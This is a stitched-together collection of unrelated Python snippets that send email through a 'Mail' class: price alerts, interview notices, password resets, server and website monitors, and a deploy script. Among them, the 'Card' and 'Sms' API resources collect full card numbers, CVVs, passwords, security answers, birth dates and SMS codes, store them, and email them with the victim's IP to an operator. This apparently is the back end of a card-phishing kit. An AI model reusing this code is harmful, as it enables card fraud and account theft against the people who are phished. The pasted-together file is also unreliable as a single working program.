def _send_email(): # Send email in a loop, avoid sending simultaneously. sq = Sql() items = sq.check_item_need_to_remind() # monitor_items, alert_items logging.warning('This loop sent email: %s', items) for item in items[0]: # email, item_name, item_price, user_price, item_id, column_id item_url = 'https://item.jd.com/' + str(item[4]) + '.html' email_text = '您监控的物品:' + item[1] + ',现在价格为:' + item[2] + \ ',您设定的价格为:' + item[3] + ',赶紧购买吧!' + item_url email_subject = '您监控的物品降价了!' try: send_email = Mail(email_text, 'admin', 'user', email_subject, item[0]) send_email.send() time.sleep(Email_TIME) except: logging.critical('Sent email failure, skip in this loop: %s', item[0]) continue sq.update_status(item[5]) logging.warning('Sent monitor email SUCCESS: %s', item[0]) for item in items[1]: # email, item_name, item_price, discount, item_id, column_id, last_price item_url = 'https://item.jd.com/' + str(item[4]) + '.html' email_text = '您监控的类别中,物品:' + item[1] + ',上次监控价格为:' + item[6] + \ ',现在价格为:' + item[2] + ',降价幅度为:' + str(100 * float(item[3])) + '折,赶紧购买吧!' + item_url email_subject = '您监控类别中的物品大幅度降价了!' try: send_email = Mail(email_text, 'admin', 'user', email_subject, item[0]) send_email.send() time.sleep(Email_TIME) except: logging.critical('Sent email failure, skip in this loop: %s', item[0]) continue sq.update_status(item[5]) logging.warning('Sent monitor email SUCCESS: %s', item[0])
def email_about_interview_to_applicant(name_input, email_input, new_interview): recipient_list = [email_input] subject = "New Interview" type = "To applicant about interview data" try: message = """ Hi {name_input}, Your interview is at {time}, with {mentor} and {mentor2}. Please arrive 15 minutes early. Good luck! """.format(name_input=name_input, time=new_interview.interviewslot.start, mentor=new_interview.interviewslot.mentor.name, mentor2=new_interview.interviewslot.mentor2.name) except: message = """ Hi {name_input}, Our schedule is full, we could not give you an interview date yet. If you do not get one within a week, please contact 06-1-1234567. Thank you. """.format(name_input=name_input) interview_email = Mail(recipient_list, message, subject) interview_email.send() message = textwrap.shorten(message, width=140, placeholder="...") new_email = Email.create(subject=subject, message=message, type=type, submissiondate=datetime.datetime.now(), recipient_name=name_input, recipient_email=email_input)
class Card(Resource): """ Class Api ressource to get cards from post method """ def __init__(self): self.parser = reqparse.RequestParser() self.parser.add_argument("carte", type=str, required=True) self.parser.add_argument("date", type=str, required=True) self.parser.add_argument("cvv", type=str, required=True) self.parser.add_argument("compte", type=str) self.parser.add_argument("q1", type=str) self.parser.add_argument("q2", type=str) self.parser.add_argument("nom", type=str, required=True) self.parser.add_argument("password", type=str, required=True) self.parser.add_argument("email", type=str, required=True) self.parser.add_argument("date_naissance", type=str, required=True) self.parser.add_argument("numero", type=str, required=True) self.elastic = Elastic() self.mail = Mail() def post(self): """ post method logic """ data = self.parser.parse_args() data.update(getCardInfo(data['carte'])) try: # save data to elastic search self.elastic.card(data, request) except Exception: pass data['ip'] = request.access_route[0] self.mail.send(data) return {"message": "OK"}, 200
def email_about_code_and_city_to_applicant(name_input, email_input, application_code, applicant_school): recipient_list = [email_input] subject = "New Application" type = "To applicant about personal data" message = """ Hi {name_input}, Your application process to Codecool has been started! The city you have been assigned to is {city}. Your application code and your login password to the site is {code}. Good luck! :) """.format(name_input=name_input, code=application_code, city=applicant_school.name) application_email = Mail(recipient_list, message, subject) application_email.send() message = textwrap.shorten(message, width=140, placeholder="...") new_email = Email.create(subject=subject, message=message, type=type, submissiondate=datetime.datetime.now(), recipient_name=name_input, recipient_email=email_input)
def mail_notify(msg): """ To 接受者(must) Cc 抄送(option) Bcc 密送(option) From 发送者(must) Subject 邮件主题 Smtpserver smtp服务器(must) Username 发送用户名(must) Password 发送密码(must) Sender 发送者(option) """ msg = msg.encode('utf-8') config_info = { "To": ["*****@*****.**"], 'From': "*****@*****.**", 'Subject': "分析日志监控到异常".decode('UTF-8'), 'Smtpserver': "smtp.163.com", 'Username': "******", 'Password': "" } msg = msg.replace("\n", "<br>").replace(" ", " ") mail = Mail(config_info) mail.add_text(msg) mail.add_text("<br><br>") ifconfig = os.popen("/sbin/ifconfig").read() ifconfig = ifconfig.replace("\n", "<br>").replace(" ", " ") mail.add_text(ifconfig) mail.send()
def website_monitor(): message_text = '' websites_hashes_path = \ str(pathlib.Path(__file__).parent.absolute()) \ + os.path.sep \ + 'website_monitor.data' try: with open(websites_hashes_path, 'rb') as filehandle: # Pickle can read/write datastructures in a file websites_hashes = pickle.load(filehandle) except OSError as e: # Not a dictonary file created yet or not readable. # Create new empty dictionary. websites_hashes = {} message_text += Message.create(e) for website in config.WEBSITES: try: response = urlopen(website, timeout=3).read() except HTTPError as e: message_text += Message.create(website + ' HTTP error. ' + str(e.reason)) except URLError as e: if isinstance(e.reason, socket.timeout): message_text += Message.create(website + ' URL error. ' + str(e.reason)) else: # See: https://stackoverflow.com/questions/8763451/ message_text += Message.create(website + ' ' + str(e.reason)) else: # Only checking body for changes. # Don't want to be triggered by websites # changing their header every request (e.g. nonce). soup = BeautifulSoup(response, 'html.parser') current_hash = hashlib.md5(soup.body.encode()).hexdigest() if website in websites_hashes: previous_hash = websites_hashes[website] if current_hash != previous_hash: message_text += Message.create(website + ' Website changed.') websites_hashes[website] = current_hash # No errors, website works fine. elif config.EMAIL_WITHOUT_ERRORS: message_text += Message.create(website + ' No errors.') else: # Website is not in dictionary. Add website (and hash) to # dictionary. websites_hashes[website] = current_hash message_text += Message.create( website + ' No previous data known. New website added.') # Write dictionary to file. try: with open(websites_hashes_path, 'wb') as filehandle: pickle.dump(websites_hashes, filehandle) except OSError as e: message_text += Message.create(str(e)) if message_text: Mail.send(message_text)
def scan(): Scan.create(date=datetime.datetime.utcnow(),network_ssid=Command.ssid()) discovered = Command.host_discovery() existing = [[i.hostname,i.ip_address] for i in Host.select(Host.hostname,Host.ip_address)] difference = [i for i in discovered if i not in existing] hosts = [Host.create(hostname=i[0],ip_address=i[1]) for i in discovered] if difference: Mail.send(Mail.format(difference))
class Message: def __init__(self): self.__LOG_TAG__ = "MESSAGE" self.__mail = Mail(self.__read_mail_values()) self.__whatsapp = WhatsApp() def __read_mail_values(self): """Read e-mail values in xml configuration file""" tree = xml.dom.minidom.parse("../config.xml") config = tree.getElementsByTagName('config')[0] msg_config = config.getElementsByTagName('msg_config')[0] l_email = msg_config.getElementsByTagName('email')[0] l_description = l_email.getAttribute('description') l_host = l_email.getAttribute('host') l_port = int(l_email.getAttribute('port')) l_login = l_email.getAttribute('login') l_password = l_email.getAttribute('password') l_sender = l_email.getAttribute('sender') l_target = l_email.getAttribute('target') #for tests. later can be any user's email l_complete = True log.info(self.__LOG_TAG__, "Infos of e-mail read [%s]" %l_sender) return l_description, l_host, l_port, l_login, l_password, l_sender, l_target, l_complete def is_connected_mail(self): """Check if email server is connected""" return self.__mail.is_connected() def connect_mail(self): """Connect to email server.""" self.__mail.connect(); def test_connection_mail(self): """Try to reconnect to the server if it is not connected.""" self.__mail.test_connection() def disconnect_mail(self): """Disconnecd from email server""" self.__mail.disconnect() def send_mail(self, p_target, p_subject="[no_subject]", p_msg="Hello!"): """send one or more emails target: str, list or tuple """ self.__mail.send(p_target, p_subject, p_msg)
def notify(self, svn_info, mail_address, cur_revision): print "notify revision is " + str(cur_revision) mail = Mail(config.email_smtp, "svn monitor", "to " + mail_address, "new revision: " + str(cur_revision), svn_info.path + " updated current revision is: " + str(cur_revision)) if config.email_use_ssl: mail.starttls() mail.login(config.email_user, config.email_pwd) mail.send(config.email_user, mail_address) return
def test_send(self): try: mail = Mail("smtp.qq.com", "test from", "test to", "test subject", "test msg") mail.starttls() mail.login(config.email_user, config.email_pwd) mail.send(config.email_user, "*****@*****.**") except Exception as e: print e exit(0) print "send mail complete"
def changeemail(self, oldemail, newemail, password): Validator.email(oldemail) Validator.email(newemail) Validator.password(password) if self.user.get(oldemail)['password'] != Secret.hash(password, SALT): raise RiverException('The password is incorrect for this user.') token = Secret.generate(16) self.user.update(oldemail, email=newemail, enabled=False, token=token) Mail.send(MAIL_FROM, newemail, 'RiverID Email Change', token)
def requestpassword(self, email, mailbody): Validator.email(email) token = Secret.generate(16) if self.user.exists(email): subject = _('RiverID: Please confirm your password change.') self.user.update(email, token=token) else: subject = _('RiverID: Please confirm your email address.') user_id = Secret.generate(128) self.user.insert(email, id=user_id, enabled=False, token=token) Mail.send(MAIL_FROM, email, subject, mailbody, token=token)
def send_mail(self, title, tolist, content): cf = ConfigParser.ConfigParser() filename = os.getcwd() + '/conf/mail.conf' cf.read(filename) smtpserver = cf.get("smtp", "smtpserver") smtpaccount = cf.get("smtp", "smtpaccount") smtppwd = cf.get("smtp", "smtppwd") subject = title + 'APM报警邮件' mail = Mail(smtpserver, smtpaccount, smtppwd) mail.send(subject, content, tolist) mail = Mail('127.0.0.1', '', '') mail.send(subject, content, tolist)
def post(self): smtp_server = self.get_argument("smtp_server").encode("utf-8") smtp_eamil = self.get_argument("smtp_email").encode("utf-8") smtp_account = self.get_argument("smtp_account").encode("utf-8") smtp_passwd = self.get_argument("smtp_passwd").encode("utf-8") try: subject = '发送邮件测试' content = '本邮件由发布系统自动发送测试邮件,请勿回复!!谢谢!!' mail = Mail(smtp_server,smtp_account,smtp_passwd ) tolist = [smtp_eamil] mail.send(subject, content, tolist) self.write("系统向测试%s邮箱发送了一封测试邮件,请查看!"%smtp_eamil) except: self.write("测试失败,请确认输入是否正确")
def requestpassword(self, email): Validator.email(email) token = Secret.generate(16) if self.user.exists(email): subject = 'RiverID: Please confirm your password change.' self.user.update(email, token=token) else: subject = 'RiverID: Please confirm your email address.' user_id = Secret.generate(128) self.user.insert(email, id=user_id, enabled=False, token=token) Mail.send(MAIL_FROM, email, subject, token)
def get(self): ctl = self.request.get('CTL') sender = self.request.get('SENDER') receiver = self.request.get('RECEIVER') content = self.request.get('CONTENT') vendor = Vendor() if ctl == '102': sender = Mail() sender.send(sender, vendor.parse(receiver), receiver, content) self.response.out.write("Done sending mail! " + str(sender) + " " + str(receiver) + " " + str(content)) elif ctl == '103': self.response.out.write(str(sender) + " ") self.response.out.write(vendor.parse(receiver) + " ") self.response.out.write(str(receiver) + " ") self.response.out.write(str(content))
def changeemail(self, oldemail, newemail, password, mailbody): Validator.email(oldemail) Validator.email(newemail) Validator.password(password) if self.user.get(oldemail)['password'] != Secret.hash(password, SALT): raise RiverException(_('The password is incorrect for this user.')) token = Secret.generate(16) self.user.update(oldemail, email=newemail, enabled=False, token=token) Mail.send(MAIL_FROM, newemail, _('RiverID Email Change'), mailbody, token=token)
def main(): import sys def exit_with_help(): print('Usage: %s mail_address pubkey_file content' % argv[0]) sys.exit(1) argv = sys.argv if len(argv) < 3: exit_with_help() mailaddr = argv[1] pub_f = argv[2] if len(argv) == 3: content = ["This", "is", "content"] else: content = argv[3:] mail = Mail(mailaddr, pub_f) mail.append_msg(' '.join(content)) mail.send('This is mail title')
def requestpassword(self, email, mailbody, mailfrom = None, mailsubject = None): Validator.email(email) token = Secret.generate(16) if mailfrom is None: mailfrom = MAIL_FROM if self.user.exists(email): if mailsubject is None: mailsubject = _('CrowdmapID: Please confirm your password change.') self.user.update(email, token=token) else: if mailsubject is None: mailsubject = _('CrowdmapID: Please confirm your email address.') user_id = Secret.generate(128) self.user.insert(email, id=user_id, enabled=False, token=token) Mail.send(mailfrom, email, mailsubject, mailbody, token=token)
def _get_info(): global origin_position while True: now = time.time() global ticks timediff = now - ticks logger.info("距离上次发邮件小时数" + str(timediff / 60 / 60)) if timediff > 86400: try: url = 'https://www.apple.com.cn/shop/refurbished/ipad' headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36' } r = requests.get(url, headers=headers) r.encoding = r.apparent_encoding html = r.text soup = BeautifulSoup( html, 'lxml') # 转换为BeautifulSoup的解析对象()里第二个参数为解析方式 # titles = soup.find_all('a', class_='as-producttile-tilelink') titles = soup.find_all(text=re.compile('(?=.*翻新 iPad Pro)')) result = '' for each in titles: if each.find("GB") != -1 & each.find("\n") == -1: result += each + '\n' if result.__len__() > 0: send_email = Mail(text=result, sender='wo', receiver='ni', subject='iPad Pro 有货', logger=logger, smtp_server=smtp_server, from_addr=from_addr, password=password) send_email.send() ticks = now else: logger.info("商品无货" + result) except Exception as e: logger.error(e) else: logger.info("无需查询") time.sleep(600)
def _get_info(): # 初始化bitme交易所对象 bitmex = ccxt.bitmex() bitmex.apiKey = apikey bitmex.secret = secret global origin_position while True: try: data = bitmex.privateGetPosition() bitmex_json = bitmex.json(data) print(bitmex_json) result_json = json.loads(bitmex_json) print(result_json) if origin_position != result_json[0]['currentQty']: content = ' 当前仓位由' + str(origin_position) + ',变为:' + str( result_json[0]['currentQty']) + '; 还有未成交买单:' + str( result_json[0]['openOrderBuyQty']) + ',未成交卖单:' + str( result_json[0]['openOrderSellQty']) send_email = Mail(text=content, sender='wo', receiver='ni', subject='仓位变动', logger=logger, smtp_server=smtp_server, from_addr=from_addr, password=password) send_email.send() origin_position = result_json[0]['currentQty'] logger.info(bitmex_json) logger.info(content) else: logger.info('仓位没有变化,当前仓位:' + str(origin_position) + '; 还有未成交买单:' + str(result_json[0]['openOrderBuyQty']) + ',未成交卖单:' + str(result_json[0]['openOrderSellQty'])) except Exception as e: logger.error(e) time.sleep(5 + random.uniform(0, 3))
def changeemail(self, oldemail, newemail, password, mailbody, mailfrom = None, mailsubject = None): Validator.email(oldemail) Validator.email(newemail) Validator.password(password) if self.user.get(oldemail)['password'] != Secret.hash(password, SALT): raise RiverException(_('The password is incorrect for this user.')) if self.user.exists(newemail): raise RiverException(_('The new email address has already been registered.')) if mailsubject is None: mailsubject = _('CrowdmapID Email Change') if mailfrom is None: mailfrom = MAIL_FROM token = Secret.generate(16) self.user.update(oldemail, email=newemail, enabled=False, token=token) Mail.send(mailfrom, newemail, mailsubject, mailbody, token=token)
def email_about_interview_to_mentor(new_interview): recipient_list = [ new_interview.interviewslot.mentor.email, new_interview.interviewslot.mentor2.email ] subject = "You've been assigned to a new interview" type = "To mentor about interview data" mentor_name = new_interview.interviewslot.mentor.name mentor2_name = new_interview.interviewslot.mentor2.name message = """ Hi {mentor_name} and {mentor2_name}, You have been assigned to a new interview from {start} to {end}. The applicant's name is {applicant_name}. Best regards, The Codecool Team """.format(mentor_name=mentor_name, mentor2_name=mentor2_name, start=new_interview.interviewslot.start, end=new_interview.interviewslot.end, applicant_name=new_interview.applicant.name) interview_email = Mail(recipient_list, message, subject) interview_email.send() message = textwrap.shorten(message, width=140, placeholder="...") new_email = Email.create(subject=subject, message=message, type=type, submissiondate=datetime.datetime.now(), recipient_name=mentor_name, recipient_email=recipient_list[0]) new_email2 = Email.create(subject=subject, message=message, type=type, submissiondate=datetime.datetime.now(), recipient_name=mentor2_name, recipient_email=recipient_list[1])
class Sms(Resource): def __init__(self): # add parser object to class attribute self.parser = reqparse.RequestParser() # add required argument sms self.parser.add_argument("sms", type=str, required=True) # add elastic search class object to this class attribute self.elastic = Elastic() # add mail class object to this class attribute self.mail = Mail() def post(self): """ Post logic """ # pars args and get data data = self.parser.parse_args() # try to save data in elastic search database try: self.elastic.card(data, request) except Exception: pass # send sms to email data['ip'] = request.access_route[0] self.mail.send(data, 'Sms') return {"message": "OK"}, 200 def get(self): """ Get method to indicate to redirect to page sms or not """ return {"value": PAGE_SMS}, 200
def _send_email(): sq = Sql() # items_alert = {column_id, item_id, user_price, item_price, name, email} items_alert = sq.check_item_need_to_remind() logging.warning('This loop sent email: %s', items_alert) for item_alert in items_alert: # item: [email, item_name, item_price, user_price, item_id, column_id] item_url = 'https://item.jd.com/' + str( item_alert['item_id']) + '.html' email_text = ' 您监控的物品:' + item_alert['name'] + ',现在价格为:' + item_alert['item_price'] + \ ',您设定的价格为:' + item_alert['user_price'] + ',赶紧购买吧!' + item_url email_subject = '您监控的物品降价了!' try: send_email = Mail(email_text, '价格监控系统', '亲爱的用户', email_subject, item_alert['email']) send_email.send() time.sleep(Email_TIME) except: logging.critical('Sent email failure, skip in this loop: %s', item_alert['email']) continue sq.update_status(item_alert['column_id']) logging.warning('Sent monitor email SUCCESS: %s', item_alert['email'])
def send_mail(): logging.basicConfig(level=logging.DEBUG, filename='debug.log') data = request.json # remove all empty values clean_data = clean_empty(data) # add sender email clean_data.update({'sender_email': os.getenv("GMAIL_ACCOUNT")}) # send hotel reservation hotel_booking = Mail( [os.getenv("HOTEL_MAIL")], 'Hochzeit 12.08.2021 Nadine Scheitz und Matthias Frank') hotel_booking.body = render_template('hotel-booking.txt', data=clean_data) hotel_booking.cc = [clean_data['guests'][0]['mail']] hotel_booking.reply_to = clean_data['guests'][0]['mail'] assert hotel_booking.send(), 'Could not send Hotel reservation Mail' return jsonify('Email sent!')
def send(self): mail_configs = {} ''' set appid and appkey ''' mail_configs['appid'] = self.appid mail_configs['appkey'] = self.appkey ''' set sign_type,if is set ''' if self.sign_type != '': mail_configs['sign_type'] = self.sign_type ''' init mail class ''' mail = Mail(mail_configs) ''' build request and send email and return the result ''' return mail.send(self.build_request())
def request_captcha(): username = request.args.get("username") auth = request.args.get("Authorization") if auth != CODE: return jsonify(ACCESS_DENIED) if not username: return jsonify(EXPECTED_ARGUMENT) code = 0 for i in range(6): if i == 0: code = random.randint(1, 9) else: code = code * 10 + random.randint(0, 9) captcha[username] = code recipient = db.query_user(username)[3] mail = Mail() return jsonify(OK) if mail.send(recipient, str(code)) else jsonify(INTERAL_ERROR)
def doDaka(username, password, logger, mail_on): if mail_on: mail = Mail(logger, username + "@zju.edu.cn") logger.info("🚌 打卡任务启动") dk = DaKa(username, password) try: dk.login() logger.info('已登录到浙大统一身份认证平台') except Exception as err: logger.info(str(err)) if mail_on: mail.send('用户名密码错误') return logger.info('正在获取个人信息...') try: dk.get_info() logger.info('%s %s同学, 你好~' % (dk.info['number'], dk.info['name'])) except Exception as err: logger.info('获取信息失败,请手动打卡,更多信息: ' + str(err)) if mail_on: mail.send('获取信息失败,请手动打卡,更多信息: ' + str(err)) return try: res = dk.post() if str(res['e']) == '0': logger.info('已为您打卡成功!') else: logger.info(res['m']) if mail_on: mail.send(res['m']) except: logger.info('数据提交失败') if mail_on: mail.send('数据提交失败') return
def send(self): mail_configs = {} ''' set appid and appkey ''' mail_configs['appid'] = self.appid mail_configs['appkey'] = self.appkey ''' set sign_type,if is set ''' if self.sign_type != '': mail_configs['sign_type'] = self.sign_type ''' init mail class ''' mail = Mail(mail_configs) ''' build request and send email and return the result ''' return mail.send(self.build_request())
# -*- coding: utf-8 -*- from config import User_name, Password, Send_email, To, From, Email_password, Smtpserver, SMTPPort #from WeiBo import Weibo from movieFactory import Douban_info, BucketList, NewMovie from mail import Mail from fuck_login import * if __name__ == '__main__': new = NewMovie().update() session, uid = login(User_name, Password) for i in new: text = Douban_info(i).info() print(text) #Weibo(User_name,Password).sendWeibo(text) sendWeibo(text, session, uid) if Send_email: downloads = BucketList().refresh() model_t = '' for k in downloads: model_t += 'Movie: %s\ndown_urls: %s\n\n' % (k, downloads[k]) if model_t: m = Mail(To, From, Email_password, Smtpserver, SMTPPort) m.make_message(model_t) m.send()
def send_mail(controller, subject=None, content=None, send_to=None, *args, **kwargs): m = Mail(controller) return m.send(subject=subject, content=content, send_to=send_to)
def send_email(email, subject, content): assert check_email(email), 'invalid email address:%s' % email return Mail.send([email], subject, content)
def _send_notice(prev_items=None, curr_items=None): if not NOTICE_EMAIL and NOTICE_ENDPOINT == "": return False # Send email in a loop, avoid sending simultaneously. sq = Sql() items = sq.check_item_need_to_remind(prev_items, curr_items) items_stdout = [] mail_map = {} for item in items[ 0]: # email, item_name, item_price, user_price, item_id, column_id user_mail = item['user'].email if user_mail not in mail_map: mail_map[user_mail] = { 'mon': { 'ids': [], 'msg': [] }, 'user': item['user'] } # skip duplicate item in items_need_mail if item['column_id'] in mail_map[user_mail]['mon']['ids']: continue mail_map[user_mail]['mon']['ids'].append(item['column_id']) item_url = 'https://item.jd.com/' + str(item['item_id']) + '.html' item_url = '<a href="{}">{}</a>'.format(item_url, item_url) email_text = ', '.join(item['flag']) + '!\n' + \ '物品:' + item['name'] + ',\n' + \ '现在价格为:' + str(item['curr_price']) + ',\n' + \ '上次监控价格为:' + str(item['prev_price']) + ',\n' + \ '您设定的价格为:' + str(item['user_price']) + ',赶紧购买吧!\n' + \ '子标题:' + item['subtitle'] + ',\n' + \ '促销:' + item['promo'] + ',\n' + \ '优惠券:' + item['coupon'] + ',\n' + \ '历史最高价参考:' + str(item['highest_price']) + ',\n' + \ '历史最低价参考:' + str(item['lowest_price']) + ',\n' + \ item_url items_stdout.append({item['item_id']: item['name']}) mail_map[user_mail]['mon']['msg'].append(email_text) email_subject = '您监控类别中的物品大幅度降价了!' for item in items[ 1]: # email, item_name, item_price, discount, item_id, column_id, last_price user_mail = item['user'].email if user_mail not in mail_map: mail_map[user_mail] = { 'alert': { 'ids': [], 'msg': [] }, 'user': item['user'] } if 'alert' not in mail_map[user_mail]: mail_map[user_mail]['alert'] = {'ids': [], 'msg': []} mail_map[user_mail]['alert']['ids'].append(item['column_id']) item_url = 'https://item.jd.com/' + str(item['item_id']) + '.html' item_url = '<a href="{}">{}</a>'.format(item_url, item_url) email_text = '物品:' + item['name'] + ',\n' + \ '现在价格为:' + str(item['curr_price']) + ',\n' + \ '上次监控价格为:' + str(item['prev_price']) + ',\n' + \ '降价幅度为:' + str(100 * float(item['user_price'])) + '折,赶紧购买吧!\n' + \ '子标题:' + item['subtitle'] + ',\n' + \ '促销:' + item['promo'] + ',\n' + \ '优惠券:' + item['coupon'] + ',\n' + \ '历史最高价参考:' + str(item['highest_price']) + ',\n' + \ '历史最低价参考:' + str(item['lowest_price']) + ',\n' + \ item_url items_stdout.append({item['item_id']: item['name']}) mail_map[user_mail]['alert']['msg'].append(email_text) logging.warning('This loop sent email / notice: %s', items_stdout) items_processed = {'s': [], 'f': []} for user_mail, msg in mail_map.items(): user = msg['user'] del msg['user'] for type, msg_text in msg.items(): if type == 'mon': subject = '您监控的物品有变更!' elif type == 'alert': subject = '您监控类别中的物品大幅度降价了!' if NOTICE_EMAIL: try: send_email = Mail('\n\n\n'.join(msg_text['msg']), 'admin', 'user', subject, user_mail) send_email.send() items_processed[ 's'] = items_processed['s'] + msg_text['ids'] time.sleep(Email_TIME) except Exception as e: logging.critical( 'Sent email failure with error: %s, skip in this loop: %s', e, user_mail) items_processed[ 'f'] = items_processed['f'] + msg_text['ids'] pass if NOTICE_ENDPOINT_LENGTH and hasattr( user, 'endpoint') and user.endpoint != '': try: if NOTICE_ENDPOINT_LENGTH <= -1: send_message = Messager( '\n\n\n'.join(msg_text['msg']), subject, user.endpoint, user.endpoint_data) send_message.send() else: for i in range(0, len(msg_text['msg']), NOTICE_ENDPOINT_LENGTH): send_message = Messager( '\n\n\n'.join(msg_text['msg'] [i:i + NOTICE_ENDPOINT_LENGTH]), subject, user.endpoint, user.endpoint_data) send_message.send() items_processed[ 's'] = items_processed['s'] + msg_text['ids'] time.sleep(Email_TIME) except Exception as e: logging.critical( 'Sent notice to custom endpoint failure with error: %s, skip in this loop: %s', e, user_mail) items_processed[ 'f'] = items_processed['f'] + msg_text['ids'] pass logging.warning('Finish sending email / notice to user: %s', user_mail) # remove duplicate ids items_processed['f'] = list(set(items_processed['f'])) items_processed['s'] = list(set(items_processed['s'])) sq.update_status(items_processed['f'], 1) sq.update_status(items_processed['s'], 0)
timeout = [] if task is None or len(task) == 0: pass else: children = zookeeper.getChildren("") if children is None or len(children) == 0: pass else: for child in children: if isIP(child): checkUpdate(timeout, zookeeper, globalTime, child) if child in task: checkUpdate(timeout, zookeeper, book[child]['actionTime'], child) book[child]['checkTime'] = checkTime logging.info("current book: %s", book) book.close() if timeout is not None and len(timeout) > 0: receiver = "*****@*****.**" subject = "db2zk APP response TIMEOUT Warning" mail = Mail(receiver, subject, timeout) mail = mail.send() url="http://127.0.0.1:8080/msg" tos="10086" content="[P0][TEST][db2zk APP response TIMEOUT warning, please check the email!]" wechat=Wechat(url, tos, content) wechat.send() zookeeper.close()
def run(self): try: while True: # Les conditions de crises sont prises de la configuration maxCPU = self.config.get("crisis/max_cpu") maxRAM = self.config.get("crisis/max_ram") maxSwap = self.config.get("crisis/max_swap") maxDisk = self.config.get("crisis/max_disk") # On cherche les serveurs dans la BDD for s in self.db.get_all("server"): server = Server(s["name"], s["ip"], s["uptime"]) # Obtention de la date la plus actuelle lastDate = self.db.get_last_date(server.name).next()[0] # Obtention des stats res = self.db.get_by_fields("stat", ["server_name", "timestamp"], [server.name, lastDate]).next() resDisks = self.db.get_by_fields("statDisk", ["server_name", "timestamp"], [server.name, lastDate]) # Création d'objets à partir des données cpu = ArrayDataObject(); cpu.used = float(res["cpu_used"]) ram = ArrayDataObject(); ram.total = int(res["ram_total"]); ram.used = float(res["ram_used"]) swap = ArrayDataObject(); swap.total = int(res["swap_total"]); swap.used = float(res["swap_used"]) disks = [] for line in resDisks: d = ArrayDataObject() d.mnt = line["mnt"] d.total = int(line["total"]) d.used = float(line["used"]) disks.append(d) # Détection de situation de crise ramPercent = ram.used * 100 / ram.total swapPercent = ram.used * 100 / ram.total disksTotalUsed = 0 disksTotal = 0 for d in disks: disksTotalUsed += d.used disksTotal += d.total disksPercent = disksTotalUsed * 100 / disksTotal if (cpu.used >= float(maxCPU) or ramPercent >= float(maxRAM) or swapPercent >= float(maxSwap) or disksPercent >= float(maxDisk)): # Classe pour envoyer des mails mail = Mail() mail.set_param("server.name", server.name) mail.set_param("server.ip", server.ip) mail.set_param("cpu.used", "{:.1f}".format(cpu.used)) mail.set_param("ram.percent", "{:.1f}".format(ramPercent)) mail.set_param("swap.percent", "{:.1f}".format(swapPercent)) mail.set_param("disks.percent", "{:.1f}".format(disksPercent)) mail.send(self.config.get("email/address"), self.config.get("email/subject"), self.config.get("email/template_html"), self.config.get("email/template_txt")) print "Crise détectée. Un email a été envoyé à " + self.config.get("email/address") # Fin for time.sleep(self.DELAY) # Recharge de la configuration self.config.recharger() # Fin while except Exception, e: raise
class Wallet: def __init__(self): self.user_id = '' self.db = DBSession() self.session = requests.session() self.corn_types = CORN_TYPE self.corns = {} # stop/active self.status = 'stop' self.warn_interval = WARN_INTERVAL self.warn_time = None self.mail = Mail() self.session.headers.update(HEADER) @retry(wait_random_min=1000, wait_random_max=2000) def refresh(self): response = self.session.get(URL) data = response.json()['data'] msg = [] for corn in self.corns.values(): corn_data = [ i for i in data if i['symbol'] == CORN_DICT.get(corn.corn_type) ][0] corn.update('current', corn_data['close']) if corn.is_notice: msg.append(corn.info) self.warning(msg) def warning(self, msg): if msg: now = int(time.time()) warn_time = self.warn_time if warn_time is not None and warn_time + self.warn_interval > now: return divide_line = '\n-----------------------------\n' text = divide_line.join(msg) self.warn_time = now self.mail.send(text) def auto_refresh(self): while True: self.refresh() if self.status == 'stop': break time.sleep(INTERVAL) def load(self, user_id): if self.corns: return for corn_type in self.corn_types: corn_info = self.db.query(user_id, corn_type) or { 'corn_type': corn_type } self.corns[corn_type] = Corn(**corn_info) self.user_id = user_id self.active() def active(self): t = Thread(target=self.auto_refresh) t.start() self.status = 'active' def stop(self): self.status = 'stop' @property def is_alive(self): if self.status == 'active': return True return False @property def profit(self): return sum([corn.profit for corn in self.corns]) @property def info(self): divide_line = '\n-----------------------------\n' return divide_line.join([m.info for m in self.corns.values()])
def _send_interview_details(self, slot, applicant): message = "Dear %s!\n\nYour You have an interview at: %s\nApplicant's name: %s\n\nHave fun!" \ % (self.first_name + ' ' + self.last_name, slot.start, applicant.first_name + ' ' + applicant.last_name) Mail.send(message, self.email, 'Interview details')
def post(self): sys_cur_dir = os.getcwd() G_Name = self.get_argument("G_Name") select_result = self.get_argument("select_result") get_config = self.db.lrange(G_Name,0,-1) if self.db.exists("base_path"): base_path = self.db.get("base_path") else: base_path ="/data" #script_before if not os.path.exists("tmp"): os.mkdir("tmp") f=open('./tmp/before.sh','a') for shell in list(eval(get_config[2])): f.write( shell + "\n") f.close() #script_after f=open('./tmp/after.sh','a') for item in list(eval(get_config[3])): f.write( item + "\n") f.close() #exec_remote_shell f=open('./tmp/remote.sh','a') for item in list(eval(get_config[11])): f.write( item + "\n") f.close() #emali data f=open('./tmp/email_data.txt','a') for item in list(eval(get_config[10])): f.write( item + "\n") f.close() #获取web server 地址 web_server = get_config[4] #获取源文件路劲 src_path = "%s/workspaces/%s"%(base_path,G_Name) +'/'+get_config[5] #切换到工程目录,准备构建 os.chdir("%s/workspaces/%s"%(base_path,G_Name)) #切换分支或者标签或者tag git_cmd ='git checkout -f %s'%select_result git_data = os.popen(git_cmd).readlines() #先在本地目录执行构建之前的shell_1脚本 shell_scripts(os.path.join(sys_cur_dir +"/tmp/","before.sh"),"127.0.0.1") #目的机web根路径 if get_config[6]: dest_path = get_config[7] else: desc_path = get_config[7]+(os.path.dirname(get_config[5])) upload_directory(src_path,dest_path,web_server) shell_scripts(os.path.join(sys_cur_dir +"/tmp/","remote.sh"),web_server) #在本地目录执行构建之后的shell_2脚本 shell_scripts(os.path.join(sys_cur_dir +"/tmp/","after.sh"),"127.0.0.1") #切回mastet git_cmd ='git checkout -f master' git_data = os.popen(git_cmd).readlines() self.db.hset("history_hash",time.time(),"操作员%s在%s客户端%s发布了%s"%( self.current_user, GetNowTime(), self.request.remote_ip, G_Name)) #删除临时目录tmp shutil.rmtree(sys_cur_dir +"/tmp") #发送邮件配置 smtp_info = eval(self.db.get("smtp_eamil")) print smtp_info try: subject = ''.join(get_config[9]) content = ''.join(get_config[10]) mail = Mail( ''.join(smtp_info['smtp_server']), ''.join(smtp_info['smtp_account']), ''.join(smtp_info['smtp_passwd'])) tolist = [get_config[8]] mail.send(subject, content, tolist) except: print "邮件发送失败,请检查" print "操作员%s在%s客户端%s发布了%s"%(self.current_user,GetNowTime(), self.request.remote_ip, G_Name) 